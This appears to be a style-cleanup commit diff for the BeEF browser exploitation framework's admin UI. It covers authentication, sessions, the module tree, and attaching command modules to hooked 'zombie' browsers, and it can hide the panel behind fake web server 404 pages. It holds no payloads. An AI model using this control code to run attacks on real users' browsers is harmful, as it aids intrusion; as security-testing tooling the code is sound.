Extensions: Resolve many Rubocop violations

This commit is contained in:
Brendan Coles
2022-01-22 11:16:12 +00:00
parent 43af6391f0
commit aa7a6f9e64
94 changed files with 4874 additions and 5138 deletions

View File

@@ -4,10 +4,9 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module AdminUI
module API
module Extension
module AdminUI
module API
#
# We use this module to register all the http handler for the Administrator UI
#
@@ -23,44 +22,46 @@ module API
print_debug "[AdminUI] Minifying #{name} (#{evaluated.size} bytes)"
begin
opts = {
:output => {
:comments => :none
output: {
comments: :none
},
:compress => {
:dead_code => true,
compress: {
dead_code: true
},
:harmony => true
harmony: true
}
minified = Uglifier.compile(evaluated, opts)
print_debug "[AdminUI] Minified #{name} (#{minified.size} bytes)"
rescue
rescue StandardError
print_error "[AdminUI] Error: Could not minify JavaScript file: #{name}"
print_more "[AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !"
minified = evaluated
end
write_to = File.new("#{File.dirname(__FILE__)}/../media/javascript-min/#{name}.js", "w+")
File.open(write_to, 'w') { |file| file.write(minified) }
write_to = File.new("#{File.dirname(__FILE__)}/../media/javascript-min/#{name}.js", 'w+')
File.write(write_to, minified)
File.path write_to
rescue => e
rescue StandardError => e
print_error "[AdminUI] Error: #{e.message}"
print_error e.backtrace
end
def self.build_javascript_ui(beef_server)
#NOTE: order counts! make sure you know what you're doing if you add files
esapi = %w(
# NOTE: order counts! make sure you know what you're doing if you add files
esapi = %w[
esapi/Class.create.js
esapi/jquery-3.3.1.min.js
esapi/jquery-encoder-0.1.0.js)
esapi/jquery-encoder-0.1.0.js
]
ux = %w(
ux = %w[
ui/common/beef_common.js
ux/PagingStore.js
ux/StatusBar.js
ux/TabCloseMenu.js)
ux/TabCloseMenu.js
]
panel = %w(
panel = %w[
ui/panel/common.js
ui/panel/PanelStatusBar.js
ui/panel/tabs/ZombieTabDetails.js
@@ -84,17 +85,18 @@ module API
ui/panel/tabs/ZombieTabRTC.js
ui/panel/Logout.js
ui/panel/WelcomeTab.js
ui/panel/ModuleSearching.js)
ui/panel/ModuleSearching.js
]
global_js = esapi + ux + panel
js_files = ''
global_js.each do |file|
js_files << File.read(File.dirname(__FILE__)+'/../media/javascript/'+file) + "\n\n"
js_files << ("#{File.read("#{File.dirname(__FILE__)}/../media/javascript/#{file}")}\n\n")
end
config = BeEF::Core::Configuration.instance
bp = config.get "beef.extension.admin_ui.base_path"
bp = config.get 'beef.extension.admin_ui.base_path'
# if more dynamic variables are needed in JavaScript files
# add them here in the following Hash
@@ -103,10 +105,10 @@ module API
}
# process all JavaScript files, evaluating them with Erubis
print_debug "[AdminUI] Initializing admin panel ..."
web_ui_all = self.evaluate_and_minify(js_files, params, 'web_ui_all')
auth_js_file = File.read(File.dirname(__FILE__)+'/../media/javascript/ui/authentication.js') + "\n\n"
web_ui_auth = self.evaluate_and_minify(auth_js_file, params, 'web_ui_auth')
print_debug '[AdminUI] Initializing admin panel ...'
web_ui_all = evaluate_and_minify(js_files, params, 'web_ui_all')
auth_js_file = "#{File.read("#{File.dirname(__FILE__)}/../media/javascript/ui/authentication.js")}\n\n"
web_ui_auth = evaluate_and_minify(auth_js_file, params, 'web_ui_auth')
beef_server.mount("#{bp}/web_ui_all.js", Rack::File.new(web_ui_all))
beef_server.mount("#{bp}/web_ui_auth.js", Rack::File.new(web_ui_auth))
@@ -119,31 +121,32 @@ module API
config = BeEF::Core::Configuration.instance
# Web UI base path, like http://beef_domain/<bp>/panel
bp = config.get "beef.extension.admin_ui.base_path"
bp = config.get 'beef.extension.admin_ui.base_path'
# registers the http controllers used by BeEF core (authentication, logs, modules and panel)
Dir["#{$root_dir}/extensions/admin_ui/controllers/**/*.rb"].each do |http_module|
Dir["#{$root_dir}/extensions/admin_ui/controllers/**/*.rb"].sort.each do |http_module|
require http_module
mod_name = File.basename http_module, '.rb'
beef_server.mount("#{bp}/#{mod_name}", BeEF::Extension::AdminUI::Handlers::UI.new(mod_name))
end
# mount the folder were we store static files (javascript, css, images, audio) for the admin ui
media_dir = File.dirname(__FILE__)+'/../media/'
media_dir = "#{File.dirname(__FILE__)}/../media/"
beef_server.mount("#{bp}/media", Rack::File.new(media_dir))
# If we're not imitating a web server, mount the favicon to /favicon.ico
if !config.get("beef.http.web_server_imitation.enable")
unless config.get('beef.http.web_server_imitation.enable')
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
"/extensions/admin_ui/media/images/#{config.get("beef.extension.admin_ui.favicon_file_name")}",
"/extensions/admin_ui/media/images/#{config.get('beef.extension.admin_ui.favicon_file_name')}",
'/favicon.ico',
'ico')
'ico'
)
end
self.build_javascript_ui beef_server
build_javascript_ui beef_server
end
end
end
end
end
end
end
end
end

View File

@@ -4,14 +4,12 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module AdminUI
module Extension
module AdminUI
#
# Handle HTTP requests and call the relevant functions in the derived classes
#
class HttpController
attr_accessor :headers, :status, :body, :paths, :currentuser, :params
C = BeEF::Core::Models::Command
@@ -27,14 +25,15 @@ module AdminUI
@session = BeEF::Extension::AdminUI::Session.instance
@config = BeEF::Core::Configuration.instance
@bp = @config.get "beef.extension.admin_ui.base_path"
@bp = @config.get 'beef.extension.admin_ui.base_path'
@headers = {'Content-Type' => 'text/html; charset=UTF-8'} if data['headers'].nil?
@headers = { 'Content-Type' => 'text/html; charset=UTF-8' } if data['headers'].nil?
if data['paths'].nil? and self.methods.include? "index"
@paths = {'index' => '/'}
# @todo what if paths is nil and methods does not include 'index' ?
@paths = if data['paths'].nil? and methods.include? 'index'
{ 'index' => '/' }
else
@paths = data['paths']
data['paths']
end
end
@@ -43,55 +42,52 @@ module AdminUI
#
def authenticate_request(ip)
auth = BeEF::Extension::AdminUI::Controllers::Authentication.new
if !auth.permitted_source?(ip)
if @config.get("beef.http.web_server_imitation.enable")
type = @config.get("beef.http.web_server_imitation.type")
return true if auth.permitted_source?(ip)
unless @config.get('beef.http.web_server_imitation.enable')
@body = 'Not Found.'
@status = 404
@headers = { 'Content-Type' => 'text/html' }
return false
end
type = @config.get('beef.http.web_server_imitation.type')
case type
when "apache"
when 'apache'
@body = BeEF::Core::Router::APACHE_BODY
@status = 404
@headers = BeEF::Core::Router::APACHE_HEADER
return false
when "iis"
when 'iis'
@body = BeEF::Core::Router::IIS_BODY
@status = 404
@headers = BeEF::Core::Router::IIS_HEADER
return false
when "nginx"
when 'nginx'
@body = BeEF::Core::Router::APACHE_BODY
@status = 404
@headers = BeEF::Core::Router::APACHE_HEADER
return false
else
@body = "Not Found."
@body = 'Not Found.'
@status = 404
@headers = {"Content-Type" => "text/html"}
return false
end
else
@body = "Not Found."
@status = 404
@headers = {"Content-Type" => "text/html"}
return false
end
else
return true
@headers = { 'Content-Type' => 'text/html' }
end
false
rescue StandardError
print_error "authenticate_request failed: #{e.message}"
false
end
#
# Check if reverse proxy has been enabled and return the correct client IP address
#
def get_ip(request)
if !@config.get("beef.http.allow_reverse_proxy")
ua_ip = request.get_header('REMOTE_ADDR') # Get client remote ip address
if @config.get('beef.http.allow_reverse_proxy')
request.ip # Get client x-forwarded-for ip address
else
ua_ip = request.ip # Get client x-forwarded-for ip address
request.get_header('REMOTE_ADDR') # Get client remote ip address
end
ua_ip
end
#
# Handle HTTP requests and call the relevant functions in the derived classes
#
@@ -103,23 +99,28 @@ module AdminUI
auth_url = "#{@bp}/authentication"
# If access to the UI is not permitted for the request IP address return a 404
if !authenticate_request(get_ip(@request))
return
end
return unless authenticate_request(get_ip(@request))
# test if session is unauth'd and whether the auth functionality is requested
if not @session.valid_session?(@request) and not self.class.eql?(BeEF::Extension::AdminUI::Controllers::Authentication)
if !@session.valid_session?(@request) and !instance_of?(BeEF::Extension::AdminUI::Controllers::Authentication)
@body = ''
@status = 302
@headers = {'Location' => auth_url}
@headers = { 'Location' => auth_url }
return
end
# get the mapped function (if it exists) from the derived class
path = request.path_info
(print_error "path is invalid";return) if not BeEF::Filters.is_valid_path_info?(path)
unless BeEF::Filters.is_valid_path_info?(path)
print_error "[Admin UI] Path is not valid: #{path}"
return
end
function = @paths[path] || @paths[path + '/'] # check hash for '<path>' and '<path>/'
(print_error "[Admin UI] Path does not exist: #{path}";return) if function.nil?
if function.nil?
print_error "[Admin UI] Path does not exist: #{path}"
return
end
# call the relevant mapped function
function.call
@@ -128,17 +129,17 @@ module AdminUI
function_name = function.name # used for filename
class_s = self.class.to_s.sub('BeEF::Extension::AdminUI::Controllers::', '').downcase # used for directory name
template_ui = "#{$root_dir}/extensions/admin_ui/controllers/#{class_s}/#{function_name}.html"
@eruby = Erubis::FastEruby.new(File.read(template_ui)) if File.exists? template_ui # load the template file
@body = @eruby.result(binding()) if not @eruby.nil? # apply template and set the response
@eruby = Erubis::FastEruby.new(File.read(template_ui)) if File.exist? template_ui # load the template file
@body = @eruby.result(binding) unless @eruby.nil? # apply template and set the response
# set appropriate content-type 'application/json' for .json files
@headers['Content-Type']='application/json; charset=UTF-8' if request.path =~ /\.json$/
@headers['Content-Type'] = 'application/json; charset=UTF-8' if request.path =~ /\.json$/
# set content type
if @headers['Content-Type'].nil?
@headers['Content-Type']='text/html; charset=UTF-8' # default content and charset type for all pages
@headers['Content-Type'] = 'text/html; charset=UTF-8' # default content and charset type for all pages
end
rescue => e
rescue StandardError => e
print_error "Error handling HTTP request: #{e.message}"
print_error e.backtrace
end
@@ -173,9 +174,9 @@ module AdminUI
# Unescapes a URL-encoded string.
def unescape(s)
s.tr('+', ' ').gsub(/%([\da-f]{2})/in){[$1].pack('H*')}
s.tr('+', ' ').gsub(/%([\da-f]{2})/in) { [Regexp.last_match(1)].pack('H*') }
end
end
end
end
end
end
end

View File

@@ -4,14 +4,12 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module AdminUI
#
# The session for BeEF UI.
#
class Session
module Extension
module AdminUI
#
# The session for BeEF UI.
#
class Session
include Singleton
attr_reader :ip, :id, :nonce, :auth_timestamp
@@ -25,8 +23,8 @@ class Session
# set the session logged in
#
def set_logged_in(ip)
@id = BeEF::Core::Crypto::secure_token
@nonce = BeEF::Core::Crypto::secure_token
@id = BeEF::Core::Crypto.secure_token
@nonce = BeEF::Core::Crypto.secure_token
@ip = ip
end
@@ -71,11 +69,10 @@ class Session
# Check if nonce valid
#
def valid_nonce?(request)
# check if a valid session
return false if not valid_session?(request)
return false unless valid_session?(request)
return false if @nonce.nil?
return false if not request.post?
return false unless request.post?
# get nonce from request
request_nonce = request['nonce']
@@ -83,7 +80,6 @@ class Session
# verify nonce
request_nonce.eql? @nonce
end
#
@@ -95,21 +91,21 @@ class Session
return false if @ip.nil?
# check ip address matches
return false if not @ip.to_s.eql? request.ip
return false unless @ip.to_s.eql? request.ip
# get session cookie name from config
session_cookie_name = BeEF::Core::Configuration.instance.get('beef.extension.admin_ui.session_cookie_name')
# check session id matches
request.cookies.each{|cookie|
request.cookies.each do |cookie|
return true if (cookie[0].to_s.eql? session_cookie_name) and (cookie[1].eql? @id)
}
end
request
# not a valid session
false
end
end
end
end
end
end
end
end

View File

@@ -4,22 +4,18 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module AdminUI
module Constants
module Extension
module AdminUI
module Constants
module Icons
VERIFIED_NOT_WORKING_IMG = 'red.png'
VERIFIED_USER_NOTIFY_IMG = 'orange.png'
VERIFIED_WORKING_IMG = 'green.png'
VERIFIED_UNKNOWN_IMG = 'grey.png'
MODULE_TARGET_IMG_PATH = 'media/images/icons/'
end
end
end
end
end
end
end
end

View File

@@ -4,15 +4,13 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module AdminUI
module Controllers
#
# The authentication web page for BeEF.
#
class Authentication < BeEF::Extension::AdminUI::HttpController
module Extension
module AdminUI
module Controllers
#
# The authentication web page for BeEF.
#
class Authentication < BeEF::Extension::AdminUI::HttpController
#
# Constructor
#
@@ -30,39 +28,38 @@ class Authentication < BeEF::Extension::AdminUI::HttpController
# Function managing the index web page
def index
@headers['Content-Type']='text/html; charset=UTF-8'
@headers['X-Frame-Options']='sameorigin'
@headers['Content-Type'] = 'text/html; charset=UTF-8'
@headers['X-Frame-Options'] = 'sameorigin'
end
#
# Function managing the login
#
def login
username = @params['username-cfrm'] || ''
password = @params['password-cfrm'] || ''
config = BeEF::Core::Configuration.instance
@headers['Content-Type']='application/json; charset=UTF-8'
@headers['X-Frame-Options']='sameorigin'
if !config.get("beef.http.allow_reverse_proxy")
ua_ip = @request.get_header('REMOTE_ADDR')
@headers['Content-Type'] = 'application/json; charset=UTF-8'
@headers['X-Frame-Options'] = 'sameorigin'
ua_ip = if config.get('beef.http.allow_reverse_proxy')
@request.ip # get client ip address
else
ua_ip = @request.ip # get client ip address
@request.get_header('REMOTE_ADDR')
end
@body = '{ success : false }' # attempt to fail closed
# check if source IP address is permitted to authenticate
if not permitted_source?(ua_ip)
unless permitted_source?(ua_ip)
BeEF::Core::Logger.instance.register('Authentication', "IP source address (#{@request.ip}) attempted to authenticate but is not within permitted subnet.")
return
end
# check if under brute force attack
return if not BeEF::Core::Rest.timeout?('beef.extension.admin_ui.login_fail_delay',
@session.get_auth_timestamp(),
lambda { |time| @session.set_auth_timestamp(time)})
return unless BeEF::Core::Rest.timeout?('beef.extension.admin_ui.login_fail_delay',
@session.get_auth_timestamp,
->(time) { @session.set_auth_timestamp(time) })
# check username and password
if not (username.eql? config.get('beef.credentials.user') and password.eql? config.get('beef.credentials.passwd') )
unless username.eql? config.get('beef.credentials.user') and password.eql? config.get('beef.credentials.passwd')
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has failed to authenticate in the application.")
return
end
@@ -74,23 +71,28 @@ class Authentication < BeEF::Extension::AdminUI::HttpController
# create session cookie
session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name
Rack::Utils.set_cookie_header!(@headers, session_cookie_name, {:value => @session.get_id, :path => "/", :httponly => true})
Rack::Utils.set_cookie_header!(@headers, session_cookie_name, { value: @session.get_id, path: '/', httponly: true })
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfully authenticated in the application.")
@body = "{ success : true }"
@body = '{ success : true }'
end
#
# Function managing the logout
#
def logout
# test if session is unauth'd
(print_error "invalid nonce";return @body = "{ success : true }") if not @session.valid_nonce?(@request)
(print_error "invalid session";return @body = "{ success : true }") if not @session.valid_session?(@request)
unless @session.valid_nonce?(@request)
(print_error 'invalid nonce'
return @body = '{ success : true }')
end
unless @session.valid_session?(@request)
(print_error 'invalid session'
return @body = '{ success : true }')
end
@headers['Content-Type']='application/json; charset=UTF-8'
@headers['X-Frame-Options']='sameorigin'
@headers['Content-Type'] = 'application/json; charset=UTF-8'
@headers['X-Frame-Options'] = 'sameorigin'
# set the session to be log out
@session.set_logged_out
@@ -98,11 +100,10 @@ class Authentication < BeEF::Extension::AdminUI::HttpController
# clean up UA and expire the session cookie
config = BeEF::Core::Configuration.instance
session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name
Rack::Utils.set_cookie_header!(@headers, session_cookie_name, {:value => "", :path => "/", :httponly => true, expires: Time.now})
Rack::Utils.set_cookie_header!(@headers, session_cookie_name, { value: '', path: '/', httponly: true, expires: Time.now })
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfully logged out.")
@body = "{ success : true }"
@body = '{ success : true }'
end
#
@@ -110,10 +111,10 @@ class Authentication < BeEF::Extension::AdminUI::HttpController
#
def permitted_source?(ip)
# test if supplied IP address is valid
return false unless BeEF::Filters::is_valid_ip?(ip)
return false unless BeEF::Filters.is_valid_ip?(ip)
# get permitted subnets
permitted_ui_subnet = BeEF::Core::Configuration.instance.get("beef.restrictions.permitted_ui_subnet")
permitted_ui_subnet = BeEF::Core::Configuration.instance.get('beef.restrictions.permitted_ui_subnet')
return false if permitted_ui_subnet.nil?
return false if permitted_ui_subnet.empty?
@@ -124,9 +125,8 @@ class Authentication < BeEF::Extension::AdminUI::HttpController
false
end
end
end
end
end
end
end
end
end
end

View File

@@ -4,15 +4,10 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module AdminUI
module Controllers
#
#
#
class Modules < BeEF::Extension::AdminUI::HttpController
module Extension
module AdminUI
module Controllers
class Modules < BeEF::Extension::AdminUI::HttpController
BD = BeEF::Core::Models::BrowserDetails
def initialize
@@ -41,7 +36,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController
# <- {"token":"800679edbb59976935d7673924caaa9e99f55c32"}
def get_restful_api_token
@body = {
'token' => BeEF::Core::Configuration.instance.get("beef.api_token")
'token' => BeEF::Core::Configuration.instance.get('beef.api_token')
}.to_json
end
@@ -53,29 +48,28 @@ class Modules < BeEF::Extension::AdminUI::HttpController
# Set the correct icon for the command module
def set_command_module_icon(status)
path = BeEF::Extension::AdminUI::Constants::Icons::MODULE_TARGET_IMG_PATH # add icon path
case status
path += case status
when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_NOT_WORKING_IMG
BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_NOT_WORKING_IMG
when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY
path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_USER_NOTIFY_IMG
BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_USER_NOTIFY_IMG
when BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_WORKING_IMG
BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_WORKING_IMG
when BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_UNKNOWN_IMG
BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_UNKNOWN_IMG
else
path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_UNKNOWN_IMG
BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_UNKNOWN_IMG
end
#return path
# return path
path
end
# Set the correct working status for the command module
def set_command_module_status(mod)
hook_session_id = @params['zombie_session'] || nil
if hook_session_id == nil
return BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
end
return BeEF::Module.support(mod, {
return BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN if hook_session_id.nil?
BeEF::Module.support(mod, {
'browser' => BD.get(hook_session_id, 'browser.name'),
'ver' => BD.get(hook_session_id, 'browser.version'),
'os' => [BD.get(hook_session_id, 'host.os.name')]
@@ -84,25 +78,24 @@ class Modules < BeEF::Extension::AdminUI::HttpController
# If we're adding a leaf to the command tree, and it's in a subfolder, we need to recurse
# into the tree to find where it goes
def update_command_module_tree_recurse(tree,category,leaf)
def update_command_module_tree_recurse(tree, category, leaf)
working_category = category.shift
tree.each {|t|
if t['text'].eql? working_category and category.count > 0
#We have deeper to go
update_command_module_tree_recurse(t['children'],category,leaf)
tree.each do |t|
if t['text'].eql? working_category && category.count > 0
# We have deeper to go
update_command_module_tree_recurse(t['children'], category, leaf)
elsif t['text'].eql? working_category
#Bingo
# Bingo
t['children'].push(leaf)
break
end
}
#return tree
end
#Add the command to the tree
# return tree
end
# Add the command to the tree
def update_command_module_tree(tree, cmd_category, cmd_icon_path, cmd_status, cmd_name, cmd_id)
# construct leaf node for the command module tree
leaf_node = {
@@ -115,89 +108,80 @@ class Modules < BeEF::Extension::AdminUI::HttpController
# add the node to the branch in the command module tree
if cmd_category.is_a?(Array)
#The category is an array, therefore it's a sub-folderised category
cat_copy = cmd_category.dup #Don't work with the original array, because, then it breaks shit
update_command_module_tree_recurse(tree,cat_copy,leaf_node)
# The category is an array, therefore it's a sub-folderised category
cat_copy = cmd_category.dup # Don't work with the original array, because, then it breaks shit
update_command_module_tree_recurse(tree, cat_copy, leaf_node)
else
#original logic here, simply add the command to the tree.
tree.each {|x|
# original logic here, simply add the command to the tree.
tree.each do |x|
if x['text'].eql? cmd_category
x['children'].push( leaf_node )
x['children'].push(leaf_node)
break
end
}
end
end
end
#Recursive function to build the tree now with sub-folders
def build_recursive_tree(parent,input)
# Recursive function to build the tree now with sub-folders
def build_recursive_tree(parent, input)
cinput = input.shift.chomp('/')
if cinput.split('/').count == 1 #then we have a single folder now
if parent.detect {|p| p['text'] == cinput}.nil?
parent << {'text' => cinput, 'cls' => 'folder', 'children' => []}
else
if input.count > 0
parent.each {|p|
if p['text'] == cinput
p['children'] = build_recursive_tree(p['children'],input)
end
}
if cinput.split('/').count == 1 # then we have a single folder now
if parent.detect { |p| p['text'] == cinput }.nil?
parent << { 'text' => cinput, 'cls' => 'folder', 'children' => [] }
elsif input.count > 0
parent.each do |p|
p['children'] = build_recursive_tree(p['children'], input) if p['text'] == cinput
end
end
else
#we have multiple folders
# we have multiple folders
newinput = cinput.split('/')
newcinput = newinput.shift
if parent.detect {|p| p['text'] == newcinput }.nil?
parent << {'text' => newcinput, 'cls' => 'folder', 'children' => []}
parent << { 'text' => newcinput, 'cls' => 'folder', 'children' => [] } if parent.detect { |p| p['text'] == newcinput }.nil?
parent.each do |p|
p['children'] = build_recursive_tree(p['children'], newinput) if p['text'] == newcinput
end
parent.each {|p|
if p['text'] == newcinput
p['children'] = build_recursive_tree(p['children'],newinput)
end
}
end
if input.count > 0
return build_recursive_tree(parent,input)
build_recursive_tree(parent, input)
else
return parent
parent
end
end
#Recursive function to sort all the parent's children
# Recursive function to sort all the parent's children
def sort_recursive_tree(parent)
# sort the children nodes by status and name
parent.each {|x|
#print_info "Sorting: " + x['children'].to_s
if x.is_a?(Hash) and x.has_key?('children')
x['children'] = x['children'].sort_by {|a|
fldr = a['cls'] ? a['cls'] : 'zzzzz'
parent.each do |x|
# print_info "Sorting: " + x['children'].to_s
next unless x.is_a?(Hash) && x.has_key?('children')
x['children'] = x['children'].sort_by do |a|
fldr = a['cls'] || 'zzzzz'
"#{fldr}#{a['status']}#{a['text']}"
}
x['children'].each {|c|
sort_recursive_tree([c]) if c.has_key?('cls') and c['cls'] == 'folder'
}
end
}
x['children'].each do |c|
sort_recursive_tree([c]) if c.has_key?('cls') && c['cls'] == 'folder'
end
end
end
#Recursive function to retitle folders with the number of children
# Recursive function to retitle folders with the number of children
def retitle_recursive_tree(parent)
# append the number of command modules so the branch name results in: "<category name> (num)"
parent.each {|command_module_branch|
if command_module_branch.is_a?(Hash) and command_module_branch.has_key?('children')
num_of_subs = 0
command_module_branch['children'].each {|c|
#add in the submodules and subtract 1 for the folder node
num_of_subs+=c['children'].length-1 if c.has_key?('children')
retitle_recursive_tree([c]) if c.has_key?('cls') and c['cls'] == 'folder'
}
num_of_command_modules = command_module_branch['children'].length + num_of_subs
command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
parent.each do |command_module_branch|
next unless command_module_branch.is_a?(Hash) && command_module_branch.has_key?('children')
num_of_subs = 0
command_module_branch['children'].each do |c|
# add in the submodules and subtract 1 for the folder node
num_of_subs += c['children'].length - 1 if c.has_key?('children')
retitle_recursive_tree([c]) if c.has_key?('cls') && c['cls'] == 'folder'
end
num_of_command_modules = command_module_branch['children'].length + num_of_subs
command_module_branch['text'] = command_module_branch['text'] + ' (' + num_of_command_modules.to_s + ')'
end
}
end
# Returns the list of all command_modules for a TreePanel in the interface.
@@ -205,48 +189,50 @@ class Modules < BeEF::Extension::AdminUI::HttpController
blanktree = []
tree = []
#Due to the sub-folder nesting, we use some really badly hacked together recursion
#Note to the bored - if someone (anyone please) wants to refactor, I'll buy you cookies. -x
tree = build_recursive_tree(blanktree,BeEF::Modules.get_categories)
# Due to the sub-folder nesting, we use some really badly hacked together recursion
# Note to the bored - if someone (anyone please) wants to refactor, I'll buy you cookies. -x
tree = build_recursive_tree(blanktree, BeEF::Modules.get_categories)
BeEF::Modules.get_enabled.each{|k, mod|
BeEF::Modules.get_enabled.each do |k, mod|
# get the hooked browser session id and set it in the command module
hook_session_id = @params['zombie_session'] || nil
(print_error "hook_session_id is nil";return) if hook_session_id.nil?
if hook_session_id.nil?
print_error 'hook_session_id is nil'
return
end
# create url path and file for the command module icon
command_module_status = set_command_module_status(k)
command_module_icon_path = set_command_module_icon(command_module_status)
update_command_module_tree(tree, mod['category'], command_module_icon_path, command_module_status, mod['name'],mod['db']['id'])
}
update_command_module_tree(tree, mod['category'], command_module_icon_path, command_module_status, mod['name'], mod['db']['id'])
end
# if dynamic modules are found in the DB, then we don't have yaml config for them
# and loading must proceed in a different way.
dynamic_modules = BeEF::Core::Models::CommandModule.where('path LIKE ?', 'Dynamic/')
if(dynamic_modules != nil)
unless dynamic_modules.nil?
all_modules = BeEF::Core::Models::CommandModule.all.order(:id)
all_modules.each{|dyn_mod|
next if !dyn_mod.path.split('/')[1].match(/^metasploit/)
command_mod_name = dyn_mod["name"]
dyn_mod_category = "Metasploit"
all_modules.each do |dyn_mod|
next unless dyn_mod.path.split('/')[1].match(/^metasploit/)
command_mod_name = dyn_mod['name']
dyn_mod_category = 'Metasploit'
command_module_status = set_command_module_status(command_mod_name)
command_module_icon_path = set_command_module_icon(command_module_status)
update_command_module_tree(tree, dyn_mod_category, command_module_icon_path, command_module_status, command_mod_name,dyn_mod.id)
}
update_command_module_tree(tree, dyn_mod_category, command_module_icon_path, command_module_status, command_mod_name, dyn_mod.id)
end
end
# sort the parent array nodes
tree.sort! {|a,b| a['text'] <=> b['text']}
tree.sort! { |a, b| a['text'] <=> b['text'] }
sort_recursive_tree(tree)
retitle_recursive_tree(tree)
# return a JSON array of hashes
@body = tree.to_json
end
@@ -254,102 +240,155 @@ class Modules < BeEF::Extension::AdminUI::HttpController
# Returns the inputs definition of an command_module.
def select_command_module
command_module_id = @params['command_module_id'] || nil
(print_error "command_module_id is nil";return) if command_module_id.nil?
if command_module_id.nil?
print_error 'command_module_id is nil'
return
end
command_module = BeEF::Core::Models::CommandModule.find(command_module_id)
key = BeEF::Module.get_key_by_database_id(command_module_id)
payload_name = @params['payload_name'] || nil
if not payload_name.nil?
@body = dynamic_payload2json(command_module_id, payload_name)
@body = if payload_name.nil?
command_modules2json([key])
else
@body = command_modules2json([key])
dynamic_payload2json(command_module_id, payload_name)
end
end
# Returns the list of commands for an command_module
def select_command_module_commands
commands = []
i=0
i = 0
# get params
zombie_session = @params['zombie_session'] || nil
(print_error "Zombie session is nil";return) if zombie_session.nil?
if zombie_session.nil?
print_error 'Zombie session is nil'
return
end
command_module_id = @params['command_module_id'] || nil
(print_error "command_module id is nil";return) if command_module_id.nil?
if command_module_id.nil?
print_error 'command_module id is nil'
return
end
# validate nonce
nonce = @params['nonce'] || nil
(print_error "nonce is nil";return) if nonce.nil?
(print_error "nonce incorrect";return) if @session.get_nonce != nonce
if nonce.nil?
print_error 'nonce is nil'
return
end
if @session.get_nonce != nonce
print_error 'nonce incorrect'
return
end
# get the browser id
zombie = Z.where(:session => zombie_session).first
(print_error "Zombie is nil";return) if zombie.nil?
zombie_id = zombie.id
(print_error "Zombie id is nil";return) if zombie_id.nil?
zombie = Z.where(session: zombie_session).first
if zombie.nil?
print_error 'Zombie is nil'
return
end
C.where(:command_module_id => command_module_id, :hooked_browser_id => zombie_id).each do |command|
zombie_id = zombie.id
if zombie_id.nil?
print_error 'Zombie id is nil'
return
end
C.where(command_module_id: command_module_id, hooked_browser_id: zombie_id).each do |command|
commands.push({
'id' => i,
'object_id' => command.id,
'creationdate' => Time.at(command.creationdate.to_i).strftime("%Y-%m-%d %H:%M").to_s,
'creationdate' => Time.at(command.creationdate.to_i).strftime('%Y-%m-%d %H:%M').to_s,
'label' => command.label
})
i+=1
i += 1
end
@body = {
'success' => 'true',
'commands' => commands}.to_json
'commands' => commands
}.to_json
end
# Attaches an command_module to a zombie.
def attach_command_module
definition = {}
# get params
zombie_session = @params['zombie_session'] || nil
(print_error "Zombie id is nil";return) if zombie_session.nil?
if zombie_session.nil?
print_error 'Zombie id is nil'
return
end
command_module_id = @params['command_module_id'] || nil
(print_error "command_module id is nil";return) if command_module_id.nil?
if command_module_id.nil?
print_error 'command_module id is nil'
return
end
# validate nonce
nonce = @params['nonce'] || nil
(print_error "nonce is nil";return) if nonce.nil?
(print_error "nonce incorrect";return) if @session.get_nonce != nonce
if nonce.nil?
print_error 'nonce is nil'
return
end
if @session.get_nonce != nonce
print_error 'nonce incorrect'
return
end
@params.keys.each {|param|
(print_error "invalid key param string";return) if not BeEF::Filters.has_valid_param_chars?(param)
(print_error "first char is num";return) if BeEF::Filters.first_char_is_num?(param)
@params.keys.each do |param|
unless BeEF::Filters.has_valid_param_chars?(param)
print_error 'invalid key param string'
return
end
if BeEF::Filters.first_char_is_num?(param)
print_error 'first char is num'
return
end
definition[param[4..-1]] = params[param]
oc = BeEF::Core::Models::OptionCache.first_or_create(:name => param[4..-1])
oc = BeEF::Core::Models::OptionCache.first_or_create(name: param[4..-1])
oc.value = params[param]
oc.save
}
end
mod_key = BeEF::Module.get_key_by_database_id(command_module_id)
# Hack to rework the old option system into the new option system
def2 = []
definition.each{|k,v|
def2.push({'name' => k, 'value' => v})
}
definition.each do |k, v|
def2.push({ 'name' => k, 'value' => v })
end
# End hack
exec_results = BeEF::Module.execute(mod_key, zombie_session, def2)
@body = (exec_results != nil) ? '{success: true}' : '{success: false}'
@body = exec_results.nil? ? '{success: false}' : '{success: true}'
end
# Re-execute an command_module to a zombie.
def reexecute_command_module
# get params
command_id = @params['command_id'] || nil
(print_error "Command id is nil";return) if command_id.nil?
if command_id.nil?
print_error 'Command id is nil'
return
end
command = BeEF::Core::Models::Command.find(command_id.to_i) || nil
(print_error "Command is nil";return) if command.nil?
if command.nil?
